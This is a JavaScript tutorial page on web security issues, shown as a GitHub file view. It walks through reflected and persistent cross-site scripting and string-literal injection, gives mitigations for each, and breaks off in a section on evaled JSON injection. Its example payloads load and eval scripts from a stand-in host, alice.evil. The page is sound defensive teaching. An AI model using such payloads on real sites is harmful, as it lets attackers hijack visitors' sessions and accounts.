-
Notifications
You must be signed in to change notification settings - Fork 13
Expand file tree
/
Copy pathsecurity-issues.html
More file actions
117 lines (98 loc) · 43.6 KB
/
security-issues.html
File metadata and controls
117 lines (98 loc) · 43.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>JavsScript - Security issues</title>
<meta name="generator" content="VuePress 1.8.2">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="description" content="Reflected Cross-site scripting (XSS), Persistent Cross-site scripting (XSS), Persistent Cross-site scripting from JavaScript string literals, Why scripts from other people can harm your website and its visitors, Evaled JSON injection">
<meta property="og:site_name" content="DevTut">
<meta property="og:title" content="JavsScript - Security issues">
<meta property="og:description" content="Reflected Cross-site scripting (XSS), Persistent Cross-site scripting (XSS), Persistent Cross-site scripting from JavaScript string literals, Why scripts from other people can harm your website and its visitors, Evaled JSON injection">
<meta property="og:type" content="article">
<meta property="og:url" content="/javascript/security-issues.html">
<meta property="og:image" content="/logo.png">
<meta name="twitter:title" content="JavsScript - Security issues">
<meta name="twitter:description" content="Reflected Cross-site scripting (XSS), Persistent Cross-site scripting (XSS), Persistent Cross-site scripting from JavaScript string literals, Why scripts from other people can harm your website and its visitors, Evaled JSON injection">
<meta name="twitter:url" content="/javascript/security-issues.html">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="/logo.png">
<meta name="theme-color" content="#ffffff">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="msapplication-TileImage" content="/mstile-150x150.png">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="google-site-verification" content="76_rKXgwMVIjd-axJC_1zPV9OS4mEjvtgjYOWVkAdnQ">
<link rel="preload" href="/assets/css/0.styles.60619e34.css" as="style"><link rel="preload" href="/assets/js/app.1779e102.js" as="script"><link rel="preload" href="/assets/js/3.2cfa8016.js" as="script"><link rel="preload" href="/assets/js/1781.226b93f3.js" as="script">
<link rel="stylesheet" href="/assets/css/0.styles.60619e34.css">
</head>
<body>
<div id="app" data-server-rendered="true"><div class="theme-container"><header class="navbar"><div class="sidebar-button"><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img" viewBox="0 0 448 512" class="icon"><path fill="currentColor" d="M436 124H12c-6.627 0-12-5.373-12-12V80c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12z"></path></svg></div> <a href="/" class="home-link router-link-active"><!----> <span class="site-name">DevTut</span></a> <div class="links"><form id="search-form" role="search" class="algolia-search-wrapper search-box"><input id="algolia-search-input" class="search-query"></form> <nav class="nav-links can-hide"> <a href="https://github.com/devtut/generate" target="_blank" rel="noopener noreferrer" class="repo-link">
GitHub
<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></nav></div></header> <div class="sidebar-mask"></div> <aside class="sidebar"><nav class="nav-links"> <a href="https://github.com/devtut/generate" target="_blank" rel="noopener noreferrer" class="repo-link">
GitHub
<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></nav> <ul class="sidebar-links"><li><section class="sidebar-group depth-0"><p class="sidebar-heading open"><span>JavaScript</span> <!----></p> <ul class="sidebar-links sidebar-group-items"><li><a href="/javascript/" aria-current="page" class="sidebar-link">Disclaimer</a></li><li><a href="/javascript/getting-started-with-javascript.html" class="sidebar-link">Getting started with JavaScript</a></li><li><a href="/javascript/javascript-variables.html" class="sidebar-link">JavaScript Variables</a></li><li><a href="/javascript/built-in-constants.html" class="sidebar-link">Built-in Constants</a></li><li><a href="/javascript/comments.html" class="sidebar-link">Comments</a></li><li><a href="/javascript/console.html" class="sidebar-link">Console</a></li><li><a href="/javascript/datatypes-in-javascript.html" class="sidebar-link">Datatypes in Javascript</a></li><li><a href="/javascript/strings.html" class="sidebar-link">Strings</a></li><li><a href="/javascript/date.html" class="sidebar-link">Date</a></li><li><a href="/javascript/date-comparison.html" class="sidebar-link">Date Comparison</a></li><li><a href="/javascript/comparison-operations.html" class="sidebar-link">Comparison Operations</a></li><li><a href="/javascript/conditions.html" class="sidebar-link">Conditions</a></li><li><a href="/javascript/arrays.html" class="sidebar-link">Arrays</a></li><li><a href="/javascript/objects.html" class="sidebar-link">Objects</a></li><li><a href="/javascript/arithmetic-math.html" class="sidebar-link">Arithmetic (Math)</a></li><li><a href="/javascript/bitwise-operators.html" class="sidebar-link">Bitwise operators</a></li><li><a href="/javascript/constructor-functions.html" class="sidebar-link">Constructor functions</a></li><li><a href="/javascript/declarations-and-assignments.html" class="sidebar-link">Declarations and Assignments</a></li><li><a href="/javascript/loops.html" class="sidebar-link">Loops</a></li><li><a href="/javascript/functions.html" class="sidebar-link">Functions</a></li><li><a href="/javascript/functional-javascript.html" class="sidebar-link">Functional JavaScript</a></li><li><a href="/javascript/prototypes-objects.html" class="sidebar-link">Prototypes, objects</a></li><li><a href="/javascript/classes.html" class="sidebar-link">Classes</a></li><li><a href="/javascript/namespacing.html" class="sidebar-link">Namespacing</a></li><li><a href="/javascript/context-this.html" class="sidebar-link">Context (this)</a></li><li><a href="/javascript/setters-and-getters.html" class="sidebar-link">Setters and Getters</a></li><li><a href="/javascript/events.html" class="sidebar-link">Events</a></li><li><a href="/javascript/inheritance.html" class="sidebar-link">Inheritance</a></li><li><a href="/javascript/method-chaining.html" class="sidebar-link">Method Chaining</a></li><li><a href="/javascript/callbacks.html" class="sidebar-link">Callbacks</a></li><li><a href="/javascript/intervals-and-timeouts.html" class="sidebar-link">Intervals and Timeouts</a></li><li><a href="/javascript/regular-expressions.html" class="sidebar-link">Regular expressions</a></li><li><a href="/javascript/cookies.html" class="sidebar-link">Cookies</a></li><li><a href="/javascript/web-storage.html" class="sidebar-link">Web Storage</a></li><li><a href="/javascript/data-attributes.html" class="sidebar-link">Data attributes</a></li><li><a href="/javascript/json.html" class="sidebar-link">JSON</a></li><li><a href="/javascript/ajax.html" class="sidebar-link">AJAX</a></li><li><a href="/javascript/enumerations.html" class="sidebar-link">Enumerations</a></li><li><a href="/javascript/map.html" class="sidebar-link">Map</a></li><li><a href="/javascript/timestamps.html" class="sidebar-link">Timestamps</a></li><li><a href="/javascript/unary-operators.html" class="sidebar-link">Unary Operators</a></li><li><a href="/javascript/generators.html" class="sidebar-link">Generators</a></li><li><a href="/javascript/promises.html" class="sidebar-link">Promises</a></li><li><a href="/javascript/set.html" class="sidebar-link">Set</a></li><li><a href="/javascript/modals-prompts.html" class="sidebar-link">Modals - Prompts</a></li><li><a href="/javascript/execcommand-and-contenteditable.html" class="sidebar-link">execCommand and contenteditable</a></li><li><a href="/javascript/history.html" class="sidebar-link">History</a></li><li><a href="/javascript/navigator-object.html" class="sidebar-link">Navigator Object</a></li><li><a href="/javascript/bom-browser-object-model.html" class="sidebar-link">BOM (Browser Object Model)</a></li><li><a href="/javascript/the-event-loop.html" class="sidebar-link">The Event Loop</a></li><li><a href="/javascript/strict-mode.html" class="sidebar-link">Strict mode</a></li><li><a href="/javascript/custom-elements.html" class="sidebar-link">Custom Elements</a></li><li><a href="/javascript/data-manipulation.html" class="sidebar-link">Data Manipulation</a></li><li><a href="/javascript/binary-data.html" class="sidebar-link">Binary Data</a></li><li><a href="/javascript/template-literals.html" class="sidebar-link">Template Literals</a></li><li><a href="/javascript/fetch.html" class="sidebar-link">Fetch</a></li><li><a href="/javascript/scope.html" class="sidebar-link">Scope</a></li><li><a href="/javascript/modules.html" class="sidebar-link">Modules</a></li><li><a href="/javascript/screen.html" class="sidebar-link">Screen</a></li><li><a href="/javascript/variable-coercion-conversion.html" class="sidebar-link">Variable coercion/conversion</a></li><li><a href="/javascript/destructuring-assignment.html" class="sidebar-link">Destructuring assignment</a></li><li><a href="/javascript/websockets.html" class="sidebar-link">WebSockets</a></li><li><a href="/javascript/arrow-functions.html" class="sidebar-link">Arrow Functions</a></li><li><a href="/javascript/workers.html" class="sidebar-link">Workers</a></li><li><a href="/javascript/requestanimationframe.html" class="sidebar-link">requestAnimationFrame</a></li><li><a href="/javascript/creational-design-patterns.html" class="sidebar-link">Creational Design Patterns</a></li><li><a href="/javascript/detecting-browser.html" class="sidebar-link">Detecting browser</a></li><li><a href="/javascript/symbols.html" class="sidebar-link">Symbols</a></li><li><a href="/javascript/transpiling.html" class="sidebar-link">Transpiling</a></li><li><a href="/javascript/automatic-semicolon-insertion-asi.html" class="sidebar-link">Automatic Semicolon Insertion - ASI</a></li><li><a href="/javascript/localization.html" class="sidebar-link">Localization</a></li><li><a href="/javascript/geolocation.html" class="sidebar-link">Geolocation</a></li><li><a href="/javascript/indexeddb.html" class="sidebar-link">IndexedDB</a></li><li><a href="/javascript/modularization-techniques.html" class="sidebar-link">Modularization Techniques</a></li><li><a href="/javascript/proxy.html" class="sidebar-link">Proxy</a></li><li><a href="/javascript/postmessage-and-messageevent.html" class="sidebar-link">.postMessage() and MessageEvent</a></li><li><a href="/javascript/weakmap.html" class="sidebar-link">WeakMap</a></li><li><a href="/javascript/weakset.html" class="sidebar-link">WeakSet</a></li><li><a href="/javascript/escape-sequences.html" class="sidebar-link">Escape Sequences</a></li><li><a href="/javascript/behavioral-design-patterns.html" class="sidebar-link">Behavioral Design Patterns</a></li><li><a href="/javascript/server-sent-events.html" class="sidebar-link">Server-sent events</a></li><li><a href="/javascript/async-functions-async-await.html" class="sidebar-link">Async functions (async/await)</a></li><li><a href="/javascript/async-iterators.html" class="sidebar-link">Async Iterators</a></li><li><a href="/javascript/how-to-make-iterator-usable-inside-async-callback-function.html" class="sidebar-link">How to make iterator usable inside async callback function</a></li><li><a href="/javascript/tail-call-optimization.html" class="sidebar-link">Tail Call Optimization</a></li><li><a href="/javascript/bitwise-operators-real-world-examples-snippets.html" class="sidebar-link">Bitwise Operators - Real World Examples (snippets)</a></li><li><a href="/javascript/tilde.html" class="sidebar-link">Tilde ~</a></li><li><a href="/javascript/using-javascript-to-get-set-css-custom-variables.html" class="sidebar-link">Using javascript to get/set CSS custom variables</a></li><li><a href="/javascript/selection-api.html" class="sidebar-link">Selection API</a></li><li><a href="/javascript/file-api-blobs-and-filereaders.html" class="sidebar-link">File API, Blobs and FileReaders</a></li><li><a href="/javascript/notifications-api.html" class="sidebar-link">Notifications API</a></li><li><a href="/javascript/vibration-api.html" class="sidebar-link">Vibration API</a></li><li><a href="/javascript/battery-status-api.html" class="sidebar-link">Battery Status API</a></li><li><a href="/javascript/fluent-api.html" class="sidebar-link">Fluent API</a></li><li><a href="/javascript/web-cryptography-api.html" class="sidebar-link">Web Cryptography API</a></li><li><a href="/javascript/security-issues.html" aria-current="page" class="active sidebar-link">Security issues</a><ul class="sidebar-sub-headers"><li class="sidebar-sub-header"><a href="/javascript/security-issues.html#reflected-cross-site-scripting-xss" class="sidebar-link">Reflected Cross-site scripting (XSS)</a></li><li class="sidebar-sub-header"><a href="/javascript/security-issues.html#persistent-cross-site-scripting-xss" class="sidebar-link">Persistent Cross-site scripting (XSS)</a></li><li class="sidebar-sub-header"><a href="/javascript/security-issues.html#persistent-cross-site-scripting-from-javascript-string-literals" class="sidebar-link">Persistent Cross-site scripting from JavaScript string literals</a></li><li class="sidebar-sub-header"><a href="/javascript/security-issues.html#why-scripts-from-other-people-can-harm-your-website-and-its-visitors" class="sidebar-link">Why scripts from other people can harm your website and its visitors</a></li><li class="sidebar-sub-header"><a href="/javascript/security-issues.html#evaled-json-injection" class="sidebar-link">Evaled JSON injection</a></li></ul></li><li><a href="/javascript/same-origin-policy-cross-origin-communication.html" class="sidebar-link">Same Origin Policy & Cross-Origin Communication</a></li><li><a href="/javascript/error-handling.html" class="sidebar-link">Error Handling</a></li><li><a href="/javascript/global-error-handling-in-browsers.html" class="sidebar-link">Global error handling in browsers</a></li><li><a href="/javascript/debugging.html" class="sidebar-link">Debugging</a></li><li><a href="/javascript/unit-testing-javascript.html" class="sidebar-link">Unit Testing Javascript</a></li><li><a href="/javascript/evaluating-javascript.html" class="sidebar-link">Evaluating JavaScript</a></li><li><a href="/javascript/linters-ensuring-code-quality.html" class="sidebar-link">Linters - Ensuring code quality</a></li><li><a href="/javascript/anti-patterns.html" class="sidebar-link">Anti-patterns</a></li><li><a href="/javascript/performance-tips.html" class="sidebar-link">Performance Tips</a></li><li><a href="/javascript/memory-efficiency.html" class="sidebar-link">Memory efficiency</a></li><li><a href="/javascript/reserved-keywords.html" class="sidebar-link">Reserved Keywords</a></li><li><a href="/javascript/contributors.html" class="sidebar-link">The Contributors</a></li></ul></section></li></ul> </aside> <main class="page"> <div class="theme-default-content content__default"><h1 id="security-issues"><a href="#security-issues" class="header-anchor">#</a> Security issues</h1> <p>This is a collection of common JavaScript security issues, like XSS and eval injection. This collection also contains how to mitigate these security issues.</p> <h2 id="reflected-cross-site-scripting-xss"><a href="#reflected-cross-site-scripting-xss" class="header-anchor">#</a> Reflected Cross-site scripting (XSS)</h2> <p>Let's say Joe owns a website that allows you to log on, view puppy videos, and save them to your account.</p> <p>Whenever a user searches on that website, they are redirected to <code>https://example.com/search?q=brown+puppies</code>.</p> <p>If a user's search doesn't match anything, than they see a message along the lines of:</p> <blockquote></blockquote> <p>Your search (<strong>brown puppies</strong>), didn't match anything. Try again.</p> <p>On the backend, that message is displayed like this:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>searchResults<span class="token punctuation">)</span><span class="token punctuation">{</span>
webPage <span class="token operator">+=</span> <span class="token string">"<div>Your search (<b>"</span> <span class="token operator">+</span> searchQuery <span class="token operator">+</span> <span class="token string">"</b>), didn't match anything. Try again."</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre></div><p>However, when Alice searches for <code><h1>headings</h1></code>, she gets this back:</p> <blockquote></blockquote> <p>Your search (<strong><h3>headings</h3></strong>) didn't match anything. Try again.</p> <p>Raw HTML:</p> <div class="language-js extra-class"><pre class="language-js"><code>Your <span class="token function">search</span> <span class="token punctuation">(</span><span class="token operator"><</span>b<span class="token operator">></span><span class="token operator"><</span>h1<span class="token operator">></span>headings<span class="token operator"><</span><span class="token operator">/</span>h1<span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>b<span class="token operator">></span><span class="token punctuation">)</span> didn't match anything<span class="token punctuation">.</span> Try again<span class="token punctuation">.</span>
</code></pre></div><p>Than Alice searches for <code><script>alert(1)</script></code>, she sees:</p> <blockquote></blockquote> <p>Your search (), didn't match anything. Try again.</p> <p>And:</p> <p><a href="https://i.stack.imgur.com/CfBYJ.png" target="_blank" rel="noopener noreferrer"><img src="https://i.stack.imgur.com/CfBYJ.png" alt="An alert box that says "1"." /><span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></p> <p>Than Alice searches for <code><script src = "https://alice.evil/puppy_xss.js></script>really cute puppies</code>, and copies the link in her address bar, and than emails Bob:</p> <blockquote></blockquote> <p>Bob,
When I search for <a href="https://example.com/search?q=%3Cscript+src+=+%22https://alice.evil/puppy_xss.js%3E%3C/script%3Ereally+cute+puppies" target="_blank" rel="noopener noreferrer">cute puppies<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a>, nothing happens!</p> <p>Than Alice sucessfully gets Bob to run her script while Bob is logged on to his account.</p> <h3 id="mitigation"><a href="#mitigation" class="header-anchor">#</a> Mitigation:</h3> <ol><li>Escape all angle brackets in searches before returning the search term when no results are found.</li> <li>Don't return the search term when no results are found.</li> <li><strong>Add a <a href="https://stackoverflow.com/q/30280370/6560716" target="_blank" rel="noopener noreferrer">Content Security Policy<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a> that refuses to load active content from other domains</strong></li></ol> <h2 id="persistent-cross-site-scripting-xss"><a href="#persistent-cross-site-scripting-xss" class="header-anchor">#</a> Persistent Cross-site scripting (XSS)</h2> <p>Let's say that Bob owns a social website that allows users to personalize their profiles.</p> <p>Alice goes to Bob's website, creates an account, and goes to her profile settings. She sets her profile description to <code>I'm actually too lazy to write something here.</code></p> <p>When her friends view her profile, this code gets run on the server:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token keyword">if</span><span class="token punctuation">(</span>viewedPerson<span class="token punctuation">.</span>profile<span class="token punctuation">.</span>description<span class="token punctuation">)</span><span class="token punctuation">{</span>
page <span class="token operator">+=</span> <span class="token string">"<div>"</span> <span class="token operator">+</span> viewedPerson<span class="token punctuation">.</span>profile<span class="token punctuation">.</span>description <span class="token operator">+</span> <span class="token string">"</div>"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span>
page <span class="token operator">+=</span> <span class="token string">"<div>This person doesn't have a profile description.</div>"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre></div><p>Resulting in this HTML:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token operator"><</span>div<span class="token operator">></span><span class="token constant">I</span>'m actually too lazy to write something here<span class="token punctuation">.</span><span class="token operator"><</span><span class="token operator">/</span>div<span class="token operator">></span>
</code></pre></div><p>Than Alice sets her profile description to <code><b>I like HTML</b></code>. When she visits her profile, instead of seeing</p> <blockquote></blockquote> <p><b>I like HTML</b></p> <p>she sees</p> <blockquote></blockquote> <p><strong>I like HTML</strong></p> <p>Then Alice sets her profile to</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token operator"><</span>script src <span class="token operator">=</span> <span class="token string">"https://alice.evil/profile_xss.js"</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span><span class="token constant">I</span>'m actually too lazy to write something here<span class="token punctuation">.</span>
</code></pre></div><p>Whenever someone visits her profile, they get Alice's script run on Bob's website while logged on as their account.</p> <h3 id="mitigation-2"><a href="#mitigation-2" class="header-anchor">#</a> Mitigation</h3> <ol><li>Escape angle brackets in profile descriptions, etc.</li> <li>Store profile descriptions in a plain text file that is then fetched with a script that adds the description via <code>.innerText</code></li> <li><strong>Add a <a href="https://stackoverflow.com/q/30280370/6560716" target="_blank" rel="noopener noreferrer">Content Security Policy<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a> that refuses to load active content from other domains</strong></li></ol> <h2 id="persistent-cross-site-scripting-from-javascript-string-literals"><a href="#persistent-cross-site-scripting-from-javascript-string-literals" class="header-anchor">#</a> Persistent Cross-site scripting from JavaScript string literals</h2> <p>Let's say that Bob owns a site that lets you post public messages.</p> <p>The messages are loaded by a script that looks like this:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 3"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 4"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 5"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"Message 6"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre></div><p>The <code>addMessage</code> function adds a posted message to the DOM. However, in an effort to avoid XSS, <strong>any HTML in messages posted is escaped.</strong></p> <p>The script is generated <strong>on the server</strong> like this:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator"><</span> messages<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
script <span class="token operator">+=</span> <span class="token string">"addMessage(\""</span> <span class="token operator">+</span> messages<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">"\");"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre></div><p>So alice posts a message that says: <code>My mom said: "Life is good. Pie makes it better. "</code>. Than when she previews the message, instead of seeing her message she sees an error in the console:</p> <div class="language-js extra-class"><pre class="language-js"><code>Uncaught SyntaxError<span class="token operator">:</span> missing <span class="token punctuation">)</span> after argument list
</code></pre></div><p>Why? Because the generated script looks like this:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"My mom said: "</span>Life is good<span class="token punctuation">.</span> Pie makes it better<span class="token punctuation">.</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre></div><p>That's a syntax error. Than Alice posts:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token constant">I</span> like pie <span class="token string">");fetch("</span>https<span class="token operator">:</span><span class="token operator">/</span><span class="token operator">/</span>alice<span class="token punctuation">.</span>evil<span class="token operator">/</span>js_xss<span class="token punctuation">.</span>js"<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token operator">=></span>x<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>eval<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//</span>
</code></pre></div><p>Then the generated script looks like:</p> <div class="language-js extra-class"><pre class="language-js"><code><span class="token function">addMessage</span><span class="token punctuation">(</span><span class="token string">"I like pie "</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"https://alice.evil/js_xss.js"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token operator">=></span>x<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>eval<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//");</span>
</code></pre></div><p>That adds the message <code>I like pie</code>, but it also <strong>downloads and runs <code>https://alice.evil/js_xss.js</code> whenever someone visits Bob's site.</strong></p> <h3 id="mitigation-3"><a href="#mitigation-3" class="header-anchor">#</a> Mitigation:</h3> <ol><li>Pass the message posted into <a href="https://stackoverflow.com/documentation/javascript/416/json/1385/serializing-a-value#t=201707081354449681532" target="_blank" rel="noopener noreferrer">JSON.stringify()<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></li> <li>Instead of dynamically building a script, build a plain text file containing all the messages that is later fetched by the script</li> <li><strong>Add a <a href="https://stackoverflow.com/q/30280370/6560716" target="_blank" rel="noopener noreferrer">Content Security Policy<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a> that refuses to load active content from other domains</strong></li></ol> <h2 id="why-scripts-from-other-people-can-harm-your-website-and-its-visitors"><a href="#why-scripts-from-other-people-can-harm-your-website-and-its-visitors" class="header-anchor">#</a> Why scripts from other people can harm your website and its visitors</h2> <p>If you don't think that malicious scripts can harm your site, <strong>you are wrong</strong>. Here is a list of what a malicious script could do:</p> <ol><li>Remove itself from the DOM so that <strong>it can't be traced</strong></li> <li>Steal users' session cookies and <strong>enable the script author to log in as and impersonate them</strong></li> <li>Show a fake "Your session has expired. Please log in again." message that <strong>sends the user's password to the script author</strong>.</li> <li>Register a malicious service worker that runs a malicious script <strong>on every page visit</strong> to that website.</li> <li>Put up a fake paywall demanding that users <strong>pay money</strong> to access the site <strong>that actually goes to the script author</strong>.</li></ol> <p>Please, <strong>don't think that XSS won't harm your website and its visitors.</strong></p> <h2 id="evaled-json-injection"><a href="#evaled-json-injection" class="header-anchor">#</a> Evaled JSON injection</h2> <p>Let's say that whenever someone visits a profile page in Bob's website, the following URL is fetched:</p> <div class="language-js extra-class"><pre class="language-js"><code>https<span class="token operator">:</span><span class="token operator">/</span><span class="token operator">/</span>example<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>users<span class="token operator">/</span><span class="token 